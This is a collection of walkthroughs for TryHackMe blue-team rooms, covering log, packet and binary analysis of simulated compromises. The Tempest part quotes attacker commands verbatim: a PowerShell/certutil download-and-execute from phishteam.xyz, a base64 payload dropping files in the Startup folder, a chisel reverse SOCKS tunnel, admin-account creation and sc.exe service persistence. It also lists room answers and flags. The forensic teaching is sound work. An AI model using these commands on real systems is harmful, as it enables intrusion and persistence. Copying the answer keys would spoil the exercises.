Introduction

This is a write-up and walkthrough for the Tempest room. I aim to explain each decision to aid understanding for difficult stages of the investigation.

Task 1: Introduction

Check you have completed the prerequisite rooms, then click the button to start the virtual machine (VM).

Task 2: Preparation — Log Analysis

Read through the information provided and understand different log sources and types of information in each.

Task 3: Preparation — Tools and Artifacts

Ensure you have run the command to convert sysmon.evtx into a .csv file. (Check you are in the correct directory to run the tool). You can also do this with the windows.evtx file in preparation for later use. This is done so that the logs can be interpreted by the Timeline Explorer tool.

Open sysmon.csv in Timeline Explorer using File > Open.

Open the Sysmon.evtx in Event Viewer. Click Save All Events As… from the right pane and save as an .xml file. Now, open SysmonView and open this .xml file using File > Import Sysmon Event Logs.

Explore each tool to understand what they offer.

What is the SHA256 hash of the capture.pcapng file?

Enter the Incident Files folder in Powershell, using cd.

Use the Get-FileHash cmdlet on the capture.pcapng file, -Algorithm SHA256 to specifiy a SHA256 hash to be calculated, and .\capture.pcapng to specify the file.

The hash is returned as CB3A1E6ACFB246F256FBFEFDB6F494941AA30A5A7C3F5258C3E63CFA27A23DC6.

What is the SHA256 hash of the sysmon.evtx file?

As above, but specify the file as sysmon.evtx instead.

The SHA256 hash is given as 665DC3519C2C235188201B5A8594FEA205C3BCBC75193363B87D2837ACA3C91F.

What is the SHA256 hash of the windows.evtx file?

As above but for the windows.evtx file.

The SHA256 hash is calculated as D0279D5292BC5B25595115032820C978838678F4333B725998CFE9253E186D60.

Task 4: Initial Access — Malicious Document

Using the investigation guide, we know we need to view the Sysmon logs. View the sysmon.csv file open in Timeline Explorer.

The user of this machine was compromised by a malicious document. What is the file name of the document?

We are looking for a malicious .doc file which we are told was downloaded via chrome.exe. Therefore, we make a search for ‘chrome.exe .doc’ in the search bar.

This will return 5 events. In all of these events we see the document downloaded is called free_magicules.doc, shown in the Payload column.

What is the name of the compromised user and machine?

Using the same filter as the previous question, we can view the User Name column and Computer column to view the user and computer which were compromised by the malicious file download. For all events, this is benimaru-TEMPEST. (Format: username-machinename)

What is the PID of the Microsoft Word process that opened the malicious document?

To find the malicious document being opened, we can search for the name of the document, free_magicules.doc, in the search bar of Timeline Explorer. We are looking for a process creation event, i.e. the file has been opened. We can search for this in the Map Description column to further filter the events. Looking at the executable info column, we see an event where Microsoft Office winword.exe is running and the malicious document is opened (figure 8).

We can now select that field, as shown, and use the left arrow key to scroll along to the Payload Data1 column for that event. This shows the process ID as 496.

Based on Sysmon logs, what is the IPv4 address resolved by the malicious domain used in the previous question?

Viewing the logs from the previous question, double-clicking to view the entire Payload section shows the URL accessed, http[://]phishteam[.]xyz/02dcf07/free_magicules.doc

To find the IPv4 address which resolves from this, we are looking for DNS events. We can search for this in the Map Description column. Viewing the events shown, we see that in Payload Data4, QueryNames are shown. In this column, we want to search for phishteam[.]xyz to find queries for that domain. Alternatively, we can search for the domain in the top-right search box, which is not restricted to any 1 column.

Now we view the Payload Data6, or the overall Payload column to see the IPs given are 167[.]71[.]199[.]191.

What is the base64 encoded string in the malicious payload executed by the document?

We are looking for a payload executed by the malicious document. We know from a previous question that the PID of the malicious document opened in Word is 496. Therefore, we are looking for events with a Parent Process ID of 496, i.e. events which were spawned by the malicious document. The ParentProcessID is included in Payload Data5 in Timeline Explorer. So, we search for ‘ParentProcessID: 496' in Payload Data5. Looking at the User Name column, only 1 of the returned events is attributed to benimaru, the compromised user, so this must be the event we need. Expanding the Payload column for this event, we see some obvious base64 encoded text. Copy the contents enclosed in the single quotes, excluding the quotes. This gives JGFwcD1bRW52aXJvbm1lbnRdOjpHZXRGb2xkZXJQYXRoKCdBcHBsaWNhdGlvbkRhdGEnKTtjZCAiJGFwcFxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXAiOyBpd3IgaHR0cDovL3BoaXNodGVhbS54eXovMDJkY2YwNy91cGRhdGUuemlwIC1vdXRmaWxlIHVwZGF0ZS56aXA7IEV4cGFuZC1BcmNoaXZlIC5cdXBkYXRlLnppcCAtRGVzdGluYXRpb25QYXRoIC47IHJtIHVwZGF0ZS56aXA7Cg==.

We can decode this using CyberChef to understand what the payload is doing.

What is the CVE number of the exploit used by the attacker to achieve a remote code execution?

From the same event, we can view the executable info column to understand the process better. We see msdt.exe. Doing some research, we can see that this is a Microsoft support diagnostic tool. We also know that the payload originated from a Word document. Decoding the base64 encoded payload also shows that a .zip file is being installed and extracted.

Researching CVEs for msdt.exe, we find a result from Microsoft for CVE-2022–30190. Reading the details we find that this is characterised by the usage of MSDT, as we have seen, where MSDT is called using the URL protocol from an application like Word. This fits with the activity we have discovered. It also states that the attacker can then install programs, view, change, or delete data, which we saw in the decoded payload. Therefore, 2022–30190 seems to fit as the CVE used by the attacker.

Task 5: Initial Access — Stage 2 Execution

Viewing the Investigation Guide, we see we are again using Sysmon logs, therefore we can continue using Timeline Explorer.

The malicious execution of the payload wrote a file on the system. What is the full target path of the payload?

From decoding the base64 payload previously, we know that the filename of the additional downloaded file is update.zip. To find the full target path of this, we search for the filename using the search bar.

This returns 1 event. View its payload to find the TargetFilename value which gives the full path: C:\Users\benimaru\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

The implanted payload executes once the user logs into the machine. What is the executed command upon a successful login of the compromised user?

Refer to the investigation guide to see that Autostart execution declares explorer.exe as its parent process. A payload which is automatically executed upon a successful login will likely use the Autostart execution, therefore we are looking for a parent process of explorer.exe. We are also looking for a User Name value of benimaru, as we know this is our compromised user and the attacker has not elevated privileges yet. Adding these values as filters, seen below, 8 events are returned. Viewing the executable info gives us a quick overview to judge the suspicion on each event. One immediately sticks out, the powershell.exe event at the bottom.

Expanding the executable info, we can see the full command. This confirms our suspicions as we see the malicious domain from earlier, phishteam[.]xyz, and a new binary being downloaded, first.exe.

For the answer, we copy the whole command, excluding the double quotes around the initial filepath: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -w hidden -noni certutil -urlcache -split -f ‘http://phishteam[.]xyz/02dcf07/first.exe' C:\Users\Public\Downloads\first.exe; C:\Users\Public\Downloads\first.exe

(I have defanged the domain. You will need to remove the [] for the answer).

Based on Sysmon logs, what is the SHA256 hash of the malicious binary downloaded for stage 2 execution?

As seen in the previous question, the malicious binary for stage 2 execution is first.exe. To find the hash for first.exe, we are looking for it running as a process. Therefore, we run a search for ‘first.exe’ in the executable info column. We also search for an Event ID of 1, as this event type records file hashes.

This returns 3 events. The event of interest is the final one, with executable info ‘C:\Users\Public\Downloads\first.exe’ as this is the only event which actually involves the execution of this binary and therefore has its hash recorded. View the payload for this event to find the SHA256 hash: CE278CA242AA2023A4FE04067B0A32FBD3CA1599746C160949868FFC7FC3D7D8

The stage 2 payload downloaded establishes a connection to a c2 server. What is the domain and port used by the attacker?

The stage 2 payload is first.exe, so we are looking for actions by this binary. Therefore, we add a filter for first.exe in the Payload column. We want to look for DNS queries to find domains of interest being requested by the malicious binary. So, we add a search for DNS within the Map Description column. Looking at the QueryName in the Payload Data4 column, we see the domain resolvecyber[.]xyz which resolves to 167[.]71[.]222[.]162, seen in the Payload Data6 column.

Now that we have the domain and its IP, we want to search for network connection events so that we can find the connection and associated port. To do this, we keep the first.exe filter, and change the Map Description filter to Network, to view network connection events. We can also run a search for 167[.]71[.]222[.]162 to find connections with this IP specifically. Viewing the payload details we can see a connection to the appropriate IP, and we see the destination port used is 80.

Therefore, the answer is resolvecyber[.]xyz:80.

(Domain is defanged, this will need to be undone).

Task 6: Initial Access — Malicious Document Traffic

Viewing the investigation guide, we see we need to use the packet capture file for this part of the investigation. Open the .pcapng file in Wireshark, using File > Open. Open the .pcapng file in Brim as well.

To begin in Brim, we can use the pre-built query, Activity Overview, to get an overview of the types of traffic in the capture file before proceeding with the investigation.

What is the URL of the malicious payload embedded in the document?

We are looking for a URL embedded in a document. We know the malicious domain, phishteam[.]xyz from an earlier part of the investigation. We can begin with the recommended search _path==”http” “phishteam[.]xyz”. This shows all HTTP traffic to the domain; I have sorted this by time so we can see the events chronologically.

We see free_magicules.doc being downloaded. We then see the user agent change to Microsoft Office Word as the document is opened. The payload in the document then uses the Word user agent to connect to phishteam[.]xyz/02dcf07/index.html. Therefore, we can conclude that the URL of the malicious payload embedded in the document, free_magicules.doc is http://phishteam[.]xyz/02dcf07/index.html. (Re-fang this for the answer).

After the connection to index.html, we see further downloads of presumably malicious files. We should note these file names for later.

What is the encoding used by the attacker on the c2 connection?

We want to view the details of communication on the C2 connection. To do this, we will use Wireshark.

We know the malicious IP for phishteam is 167.71.222.162, from previous investigation steps. We can filter for this IP to find all communication to and from this address. Scrolling through the results and viewing the info fields, we can see some obvious encoding in some of the fields, as highlighted below in figure 21. You may be able to guess the encoding but to confirm we will copy the encoded section into CyberChef and check its suggested decoding algorithm. This decodes from base64, in this instance to a whoami command. This confirms the C2 connection and the method of encoding being base64.

The malicious c2 binary sends a payload using a parameter that contains the executed command results. What is the parameter used by the binary?

As we saw above, payloads are being sent as part of URLs. Viewing the ‘Request URI Query’ as before, we see the encoded string is preceded by a q=. Here, the q is the parameter. These are commonly used in URLs. You may have seen examples like id=, view=, input=, etc. These are all parameters.

The malicious c2 binary connects to a specific URL to get the command to be executed. What is the URL used by the binary?

Looking at the same packet details, we can see the Request URI Path, which is /9ab62b5.

What is the HTTP method used by the binary?

As seen above and in the same packet, this is a GET request. This can be seen in the Request Method field.

Based on the user agent, what programming language was used by the attacker to compile the binary?

Again viewing the same packet details, we can view the user-agent field. This field shows Nim as the user-agent. Doing some research, we can see that nim is a programming language so this is likely the language used to compile the binary.

Task 7: Discovery — Internal Reconnaissance

Viewing the investigation guide, we see we will be using both Sysmon logs and the packet capture.

The attacker was able to discover a sensitive file inside the machine of the user. What is the password discovered on the aforementioned file?

We can use Brim to filter the encoded C2 traffic. To do this, we can use the command given from the cheatsheet. Viewing one of the encoded packets we found in Wireshark, we can find the information we need for the Brim filter. The host domain is resolvecyber[.]xyz and the destination port is 80.

We can then create the Brim filter and view all of the encoded traffic. _path==”http” “resolvecyber[.]xyz” id.resp_p==80 | cut ts, host, id.resp_p, uri | sort ts We then copy each of the encoded commands into CyberChef and decode it. One of these commands shows a value for $pass. We can see this is for the automation.ps1 file and the password is infernotempest.

The attacker then enumerated the list of listening ports inside the machine. What is the listening port that could provide a remote shell inside the machine?

Another one of the decoded commands shows a netstat command and its results. Researching each of the listening ports found, we find that port 5985 can be used for remote management so it could be used to get a remote shell.

The attacker then established a reverse socks proxy to access the internal services hosted inside the machine. What is the command executed by the attacker to establish the connection?

Here, we can use Timeline Explorer to search for ‘socks’ to find the socks proxy. The command is: C:\Users\benimaru\Downloads\ch.exe client 167.71.199.191:8080 R:socks. This is found in the CommandLine value within the Payload field, as shown below, removing the double quotes and double slashes. We see the binary used is a binary we saw previously was installed. The target IP is different from our recorded malicious IPs so far, but appears to be from the same subnet.

What is the SHA256 hash of the binary used by the attacker to establish the reverse socks proxy connection?

As seen above, the binary used to establish the reverse socks proxy is ch.exe. We can pull the SHA256 hash of ch.exe from the payload we viewed in the previous question because ch.exe is the binary being executed. Its SHA256 hash is 8A99353662CCAE117D2BB22EFD8C43D7169060450BE413AF763E8AD7522D2451.

What is the name of the tool used by the attacker based on the SHA256 hash? Provide the answer in lowercase.

To find out more information about the binary, we copy the hash into a threat intelligence platform like VirusTotal. Doing this, VirusTotal shows information about the file like its common name, file type, and flags for being malicious. As seen in figure 31 below, this file is known as chisel_windows.exe. Therefore, the name of the tool is chisel; windows is likely the specific build of the tool. I.e. this file is for Windows machines, a version for Linux or Mac may exist, for example.

The attacker then used the harvested credentials from the machine. Based on the succeeding process after the execution of the socks proxy, what service did the attacker use to authenticate?

Socks was line 481 in the log file on Timeline Explorer. We are looking for events after this proxy was established. Therefore, we can set a filter for Line > 480. We also know the attacker is operating under the user account benimaru, so we can filter for this.

Now we have a managable number of events to review the executable info for. One of the first events after the proxy is wsmprovhost.exe. Doing some research, we see that Windows Remote Management (WinRM) is likely being used. WinRM commonly runs on port 5985, a port we and the attacker know to be listening from the netstat scan. WinRM can be used to authenticate with valid credentials. Therefore, the service is winrm.

Task 8: Privilege Escalation — Exploiting Privileges

We are once again using both Sysmon logs and the packet capture for this part of the investigation. Specifically, we are looking for privilege escalation events.

After discovering the privileges of the current user, the attacker then downloaded another binary to be used for privilege escalation. What is the name and the SHA256 hash of the binary?

Using the same filters as the previous question, we can review the executable info to see a whoami.exe execution, which is done to discover current privileges. After this, we see a PowerShell execution to download another binary, spf.exe.

An event which records the hash of spf.exe comes a few lines later, line 1922, where the binary is executing. The SHA256 hash is 8524FBC0D73E711E69D60C64F1F1B7BEF35C986705880643DD4D5E17779E586D. Therefore the full answer is: spf.exe,8524FBC0D73E711E69D60C64F1F1B7BEF35C986705880643DD4D5E17779E586D.

We can see that the parent process for spf.exe is wsmprovhost.exe, showing this is being used for remote access by the attacker and any events with this parent process after compromise are worth checking.

Based on the SHA256 hash of the binary, what is the name of the tool used?

As before, we can search for the binary’s hash in a platform like VirusTotal to get more information. Here, we see the name of the tool is printspoofer.

The tool exploits a specific privilege owned by the user. What is the name of the privilege?

Doing some research on PrintSpoofer.exe, we find its Git page which describes the tool. Figure 36 shows this page, which states that the user must have the SeImpersonatePrivilege in order for the tool to exploit this.

Then, the attacker executed the tool with another binary to establish a c2 connection. What is the name of the binary?

Sticking with the same filters in Timeline Explorer, after the binary spf.exe is installed, we see the execution of spf.exe with final.exe, as shown in figure 37 below. Therefore, the name of the binary is final.exe.

The binary connects to a different port from the first c2 connection. What is the port used?

Now, we are looking for a network connection event using SYSTEM privileges, as the attacker has just executed spf.exe, which we know is a privilege escalation tool. So, we change the User Name filter to SYSTEM, add a Map Description filter for Network, and a Payload filter of final.exe as this is the binary being used to initiate the connection. We can keep the line filter, as we are still looking for events after the proxy establishment; we could change this filter to be after the spf.exe execution to reduce the number of events somewhat.

Exapnding the Payload of the first returned event shows the connection is made on destination port 8080. We also see the destination IP is one we recognize, the IP of phishteam[.]xyz.

Task 9: Actions On Objectives — Fully-Owned Machine

Viewing the investigation guide, we see that Windows Event Logs are a significant data source for this part of the investigation. Therefore, we may want to view them in Timeline Explorer like the Sysmon logs. So, use the EvtxECmd tool to convert windows.evtx into a .csv, as shown below. Then, open the .csv in Timeline Explorer.

Upon achieving SYSTEM access, the attacker then created two users. What are the account names?

To find account creation events, we want to look at the Windows event logs in Timeline Explorer. Search for ‘created’ in the Map Description, to find account creation events. This returns 2 events, for users shuna and shion. In alphabetical order and comma delimited, the answer is: shion,shuna.

If there were a large amount of events, we could specify the User Name SYSTEM, as we know the attacker has system level access at this point.

Prior to the successful creation of the accounts, the attacker executed commands that failed in the creation attempt. What is the missing option that made the attempt fail?

We now return to the Sysmon logs to view the actual commands given. Doing some research shows that net.exe is the binary used for account creation. Therefore, run a filter for net.exe in the Payload field. Now, we see various events where the attacker appears to be attempting to add users. Eventually, the attacker uses the option /add, which research shows is needed to specify the creation of a user. So, the missing option was /add.

Based on windows event logs, the accounts were successfully created. What is the event ID that indicates the account creation activity?

Returning to our Windows event logs in Timeline Explorer and using the same filter as previously to view the account creations, we can view their Event IDs. For both events this is 4720.

Alternatively, Event IDs are allocated for each type of event. Therefore, you should become familiar with common, important security event IDs, or can research them to find which event ID is associated with account creation, for example.

The attacker added one of the accounts in the local administrator’s group. What is the command used by the attacker?

Returning to the Sysmon logs and the net.exe filter, we can see a command to add the newly created user, shion, to the local administrator’s group. The command used is: net localgroup administrators /add shion.

Based on windows event logs, the account was successfully added to a sensitive group. What is the event ID that indicates the addition to a sensitive local group?

As above, you may have this event ID memorized. However, we will go through the logs to find it.

Return to the Windows logs and search for ‘added’ in the Map Description tab to find events where a member is added to a group. We are looking for a security-enabled local group, as seen in the command. Scrolling along to find the associated event ID, we see the ID is 4732.

After the account creation, the attacker executed a technique to establish persistent administrative access. What is the command executed by the attacker to achieve this?

Back to the Sysmon logs, we are looking for events around the time of the user additions. We need to remove the net.exe filter, but we want to stay around the same line number in the log. Between the failed and successful attempts to add the user accounts, we see a sc.exe binary being set to AutoStart, which is commonly used for persistence. The command executed is: C:\Windows\system32\sc.exe \\TEMPEST create TempestUpdate2 binpath= C:\ProgramData\final.exe start= auto.

Conclusion

We have now finished analysing both endpoint and network logs as part of an investigation into a fully compromised machine. We have followed each step of the attack chain to investigate. We have used various tools as part of the investigation and gained experience with using them to conduct full investigations.

This is a write-up and guide for the Benign room on TryHackMe. I will go through my approach to this room, including my reasonings and exact Splunk searches.

Task 1: Introduction

First, boot the attached VM in the TryHackMe room. Then, either boot the AttackBox or enable your OpenVPN to connect to the THM servers.

Once the VM has booted, access it using its IP either on the AttackBox or via the VPN. If an error is displayed, wait a few minutes and try again. You should be presented with the Splunk interface. Click on the Search & Reporting tab to open it.

Below are the roles of the staff members in this scenario, for easy referral:

IT Department: James, Moin, Katrina

HR Department: Haroon, Chris, Daina

Marketing Department: Bell, Amelia, Deepak

Task 2: Scenario — Identify and Investigate and Infected Host

How many logs are ingested from the month of March, 2022?

As stated in the room’s introduction, the logs are stored in the index win_eventlogs. Therefore, to access them we need to enter index=win_eventlogs in the search bar. Then, to view logs just from March 2022 we need to adjust the date range using the menu on the right.

We can see there are 13,959 events returned after the search.

Imposter Alert: There seems to be an imposter account observed in the logs, what is the name of that user?

To find a suspicious user, we need to review the UserName field of the logs. We anticipate that there should be 10 users. The 9 staff, plus the SYSTEM account. However, viewing the UserName field we see 11. In the top 10, we see an account for each staff member and a SYSTEM account, as expected.

Viewing the rare users, so that we can see the 1 account not shown in the top 10, we see the account Amel1a, which is attempting to disguise as the marketing employee Amelia. This is suspicious and is our imposter account.

Which user from the HR department was observed to be running scheduled tasks?

schtasks.exe is the executable used to schedule tasks. We can add this to our search as a string.

We could also add the HR department usernames to our search ( UserName IN (“haroon”, “Chris.fort”, “Daina”) ), or we can view the UserNames field and view which users are using schtasks.exe. This shows that James from IT, Moin from IT, Katrina from IT, and Chris.fort from HR are the usernames seen using schtasks. Chris.fort is the only HR user.

Which user from the HR department executed a system process (LOLBIN) to download a payload from a file-sharing host.

We are looking for a process creation event, which is EventID=4688 in our Splunk search. We can also add the UserNames of just the HR department as a filter, as discussed in the previous question. This returns many events.

However, we are looking for the download of 1 file, so likely a single event. Therefore, we can look at the ‘rare’ values for the CommandLine field to narrow the search, then enter the statistics tab. Immediately we see the top result appears to be a suspicious file download. We can click this event then click view events to view the full details for this event.

This event shows a certutil command, a URL, and a file name. The responsible UserName is haroon.

To bypass the security controls, which system process (lolbin) was used to download a payload from the internet?

To answer this, we use the event details from above. certutil is the system process which was used for the download.

What was the date that this binary was executed by the infected host? format (YYYY-MM-DD)

Again, we pull the details from the above event which gives us the date of 2022–03–04 from the event. To check there is no other execution of the binary by the infected host, we can conduct a search for benign.exe on the host (in this case, on all HR department hosts). No other events are returned, so the event we already have must be the sole execution of the binary.

Which third-party site was accessed to download the malicious payload?

Again using the discovered event, we can view the URL from the CommandLine field to see that the site accessed was controlc.com.

What is the name of the file that was saved on the host machine from the C2 server during the post-exploitation phase?

Viewing the same field we see that the file is called benign.exe.

The suspicious file downloaded from the C2 server contained malicious content with the pattern THM{……….}; what is that pattern?

To view the file contents we can access the full URL found in the event: https://controlc.com/e4d11035. We see that the contents are THM{KJ&*H^B0}.

What is the URL that the infected host connected to?

This is the same URL we just copied to view the contents of the file: https://controlc.com/e4d11035.

Conclusion

This room followed an investigation of a compromised host using Splunk. It should have helped with understanding the investigation process and getting familiar with Splunk.

This is a write-up for the ItsyBitsy room. I will explain how to complete the room and the reasons behind each step. This room tests your knowledge of using the Elastic Stack (ELK) for SIEM.

Task 1: Introduction

First, click the ‘Start Machine’ button and allow the machine to boot. Once this has had a few minutes to initialize, either paste its IP address into the AttackBox browser or your own browser and log in to the ELK interface. If you receive an error, wait a few more minutes and try again. Then, navigate to the Discover tab to begin.

Task 2: Scenario — Investigate a potential C2 communication alert

How many events were returned for the month of March 2022?

We need to set the date range using the drop-down in the top left. We set the start date as 1 March 2022 00:00 and the end as 1 April 2022 00:00 to ensure we include all events from 31 March.

The number of hits is then shown at the top as 1,482.

What is the IP associated with the suspected user in the logs?

Using the fields section at the left we can click sourceIP to see we have 2 different source IPs. One of these IPs is sending the vast majority of the traffic. This can often indicate a DoS attack but in this case, filtering by that source IP, we can see that the traffic appears to be benign.

Instead, I clicked on the user_agent field to look for suspicious user agents which would be associated with an IP. I found bitsadmin. bitsadmin is a legitimate Windows tool but can be used for malicious purposes like stealthy file transfer, payload delivery, and persistence. Filtering by the bitsadmin user_agent, we see this is all done by 1 IP and the traffic is suspicious. This gives us the IP of 192.166.65.54.

The user’s machine used a legit Windows binary to download a file from the C2 server. What is the name of the binary?

As covered above, bitsadmin is a legitimate Windows binary which can be used for file transfer. We see evidence of this in the logs above.

The infected machine connected with a famous filesharing site in this period, which also acts as a C2 server used by the malware authors to communicate. What is the name of the filesharing site?

Expanding either log entry we can see the host listed as pastebin.com. This is a filesharing site, so could be used as a temporary C2 server for downloading.

What is the full URL of the C2 to which the infected host is connected?

Looking further into the details of one of the log entries, we can find the URI that the host is connecting to. To get the full URL, we combine pastebin.com with this URI to give pastebin.com/yTg0Ah6a

A file was accessed on the filesharing site. What is the name of the file accessed?

To find this out, we simply copy and paste the URL we obtained into a browser. We see the name is secret.txt and the contents of the document are shown below.

The file contains a secret code with the format THM{_____}.

Using the site we accessed for the previous question, we can read the contents of the file to give us the secret.

Conclusion

This room should have given you some experience with using the Elastic Stack for viewing logs and tracing attacks. This is an essential skill within a SOC and other security-based roles.

This is a write-up/walkthrough for the TryHackMe Invite Only room which is part of the Threat Analysis Tools module and part of the SOC Level 1 path. I will explain how to complete the room and briefly explain any relevant concepts as they come up.

To start, click the ‘Start Machine’ button in the TryHackMe room to begin launching the Virtual Machine (VM). VMs are used to provide an environment which can easily be reset and to protect your own computer from damage. Once the VM has launched, double-click to open TryDetectThis2.0 from the Desktop.

In this room, we are investigating a suspicious hash and IP. A file hash is a fixed-length value which uniquely identifies a file, regardless of changes to the file name. The hash will remain the name provided the file contents are identical. Hashes are used to identify suspicious files across different devices and consolidate knowledge via threat intelligence platforms. An IP is like an address for a digital device. However, IPs used for each device routinely change, so any blocks put on suspicious or malicious IPs are generally temporary.

What is the name of the file identified with the flagged SHA256 hash?

To start investigating the suspicious hash, we need to copy the hash given in the TryHackMe room and paste it into TryDetectThis. The initial results show file details, including the name and file type, as seen below.

What is the file type associated with the flagged SHA256 hash?

As shown in figure 1 above, we can see the file type in the initial file report screen for the suspicious hash. In this case, the answer requires ‘Win32 EXE’ as the file type, rather than just .exe.

What are the execution parents of the flagged hash? List the names chronologically, using a comma as a separator. Note down the hashes for later use.

To find the execution parents, we need to select the relations tab to view related information. Here, there is a section called Execution Parents. The results show the file type, then the file name, and the file hash underneath. We need the file names, so we take the second value and note down the file hashes for later.

What is the name of the file being dropped? Note down the hash value for later use.

Also in the relations tab is the dropped files section. We once again take the name as the answer and note down the hash.

Research the second hash in question 3 and list the four malicious dropped files in the order they appear (from up to down), separated by commas.

The second hash from question 3 is, fa102d4e3cfbe85f5189da70a52c1d266925f3efd122091cdc8fe0fc39033942. We search for this in TryDetectThis and view the relations tab to find the dropped files. Here, we want the malicious dropped files. These are the ones with a caution symbol on the right. We can ignore the dropped files with a green tick on the right. This gives us exactly 4 malicious dropped files which we can take the names of.

Analyse the files related to the flagged IP. What is the malware family that links these files?

Now we move to analysing the flagged IP. Copy the defanged IP given in the THM room and paste it into the TryDetectThis search box then remove the square brackets. Defanged refers to these square brackets surrounding the .s which prevent it from being interpreted as an IP by a browser. It is best to copy the defanged form to avoid accidents which could result in you visiting a malicious IP.

Explore the information about the IP. Information about the malware family can be found in the community tab where people are providing enrichment. The malware family is named as AsyncRAT.

What is the title of the original report where these flagged indicators are mentioned? Use Google to find the report.

To find the original report for this malware, we can use a browser to search for some of the indicators. I used the defanged IP and the malware family but other combinations of indicators will also work. The first result is the report we’re looking for. Open the article to find the whole title.

Which tool did the attackers use to steal cookies from the Google Chrome browser?

Now, we view the key takeaways section at the beginning of the article. This provides a useful, minimally technical overview of the malware. This provides the answers to the next few questions.

Which phishing technique did the attackers use? Use the report to answer the question.

We can refer to the above bullet points to learn about the phishing technique used.

What is the name of the platform that was used to redirect a user to malicious servers?

We can refer to the bullet points again to learn that Discord invite links were abused to redirect users to malicious servers.

Conclusion

We have now gathered threat intelligence and enriched the flagged artefacts. This is a fundamental part of daily work as a SOC analyst.

This is a write-up for the Shadow Trace room on TryHackMe which is part of the SOC Level 1 pathway. I will describe how I completed this room and the reasons behind my decisions to help you understand the method.

Task 2: File Analysis

First, boot the Virtual Machine (VM) and see the target binary, windows-update.exe, on the Desktop. Then, view the questions for task 2. Our first action should be static analysis, rather than dynamic because static analysis can give us a good overview of the binary quickly where dynamic can take longer and be more complex. The questions in task 2 can all be answered using static analysis.

I opened pestudio, found in the DFIR Tools folder on the Desktop, and used file > open file to open the windows-update.exe binary using the tool. pestudio is a static analysis tool for Windows and gives a good overview of the binary.

What is the architecture of the binary file windows-update.exe?

Once pestudio finishes the static analysis you are presented with the indicators tab. Here, we can find the answers to our first few questions and gather enough information to investigate further.

In this question, architecture is referring to processor architecture. I.e. x86 (32-bit), x64 (64-bit), or x32 (32-bit). The binary file will have been written for either 32-bit or 64-bit architecture. If you need further explaination on architectures, check out this article.

From the indicators tab in pestudio, we can see the architecture the binary was written for.

What is the hash (sha-256) of the file windows-update.exe?

Hashes can be used to uniquely identify files. Hashes can be used to identify the same malware file on various systems, for example by inputting the hash into VirusTotal as part of an investigation.

Again, the indicators tab on pestudio provides the answer to this question. Alternatively, the Powershell cmdlet Get-FileHash C:\users\dfiruser\desktop\windows-update.exe -Algorithm SHA256 could be used. On a Linux system, the command sha256sum <file> could be used.

Identify the URL within the file to use it as an IOC

IOC means Indicator of Compromise. Once again, pestudio’s indicators tab provides this answer. It has pulled 2 url-pattern objects from the strings tab. One of these is an IP; the other is a URL.

Finding a URL in a malicious binary suggests communication with that URL. This could be for data exfiltration, additional downloads, etc. If the binary is malicious, any URLs and IPs found in the binary should be investigated and blocked if found to be malicious.

With the URL identified, can you spot a domain that can be used as an IOC?

The URL identified has the tryhatme second-level domain (SLD). Therefore, we are likely looking for a subdomain with tryhatme as the SLD. To find this, we must look through the strings tab for something matching this description.

To make this easier, right-clicking on the strings element on the left pane and unchecking the offset and flag boxes will remove those columns, removing the unnecessary information. Additionally, clicking on the size (bytes) header will order the values in size order. This can be used to show the longest values first, meaning the desired result should be near the top. However, this can make it difficult to spot the URL among all the text.

Input the decoded flag from the suspicious domain

Again, we need to analyze the strings tab to find the tryhatme domain with an encoded path.

We can then copy this and paste the encoded section into a tool like CyberChef. This tool will suggest likely encodings, or you can manually select the decoding method.

What library related to socket communication is loaded by the binary?

To find which library we need, we select the libraries tab in pestudio. Reading the descriptions of each library allows us to find the library related to sockets.

Task 3: Alert Analysis

First, open the site attached in the room. You will see 2 alerts; 1 from Powershell and 1 from Chrome.

Can you identify the malicious URL from the trigger by the process powershell.exe?

View the Powershell alert. The command column has a DownloadString cmdlet followed by an encoded string. This encoded string should be investigated. Copy this encoded section into CyberChef and either manually select the decoding method or use CyberChef’s automatic selection. The output should show that the encoded string was actually a base64 representation of a URL.

Can you identify the malicious URL from the alert triggered by chrome.exe?

Looking at the Chrome alert, we see a fetch command in the command column. The process detail tell us that this alert is for JavaScript execution from within Chrome. fetch is a JS API which can make HTTP responses. Therefore, we would expect fetch to be followed by a URL. Instead we see a suspicious series of numbers. Copying this into CyberChef and attempting to decode it shows that this is actually a URL in decimal format.

What’s the name of the file saved in the alert triggered by chrome.exe?

Viewing the Chrome alert you should be able to see a file name and extension in plaintext.

Conclusion

You should now be more comfortable with static analysis using pestudio. Other tools and OS commands could be used to answer some of these questions, as mentioned in places, I primarily used pestudio as it provided convenient answers to all the questions. However, you should experiment with these alternative methods as well.